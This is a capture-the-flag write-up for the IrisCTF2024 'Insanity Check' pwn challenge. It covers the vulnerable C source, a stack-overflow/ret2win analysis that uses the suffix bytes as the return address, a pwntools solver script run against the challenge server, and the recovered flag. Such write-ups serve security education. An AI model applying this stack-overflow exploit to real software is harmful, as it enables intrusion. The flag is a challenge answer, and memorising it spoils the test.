Insanity Check [254 Solves]#

Description#

chal.png

I've tried the brand new michael-ld linker on my hello world program. I'm pretty sure it's super safe now.

nc insanity-check.chal.irisc.tf 10003 insanity-check.tar.gz

By: lambda

Short Solution#

Stack Overflow, ret2win

Solution#

Source Code#

$ tar ztf insanity-check.tar.gz
insanity-check/
insanity-check/vuln
insanity-check/vuln.c

vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
} 

Basic file checks#

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2d6acffbfd9fd36c0a8089feffe3ce53f3eabba, for GNU/Linux 4.4.0, not stripped

$ checksec vuln
[*] '/root/ctf/IrisCTF2024/binary_exploitation/insanity-check/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x40000000)

Initial Analysis#

$ readelf -s vuln | grep win
    23: 000000006d6f632e    18 FUNC    GLOBAL DEFAULT   28 win

$ unhex "000000006d6f632e" | rev | hd
00000000  2e 63 6f 6d 00 00 00 00                           |.com....|
00000008

We can occur Stack Overflow by memcpy and set stuff to a return value of the main function. The win function address is 0x000000006d6f632e, and .com\0\0\0\0 which is suffix variable last 8 bytes is 0x000000006d6f632e. Thus, by adjusting the input size to overwrite the return value of the main function to 2e636f6d00000000, we can call the win function.

Solver#

solver.py

from pwn import *

# context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]

elf = ELF("./vuln", checksec=False)


def conn() -> pwnlib.tubes:
    if args.REMOTE:
        io = remote("insanity-check.chal.irisc.tf", 10003)

    elif args.GDB:
        gdbscript = """
        b *main+310
        c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        io = elf.process()

    return io


def main():
    payload = b"A" * 56 + b"\n"
    with conn() as io:
        io.send(payload)

        io.interactive("")


if __name__ == "__main__":
    main()
$ python3 solver.py REMOTE
[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
== proof-of-work: disabled ==
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

[*] Closed connection to insanity-check.chal.irisc.tf port 10003

Got the flag.

Flag#

irisctf{c0nv3n13nt_symb0l_pl4cem3nt}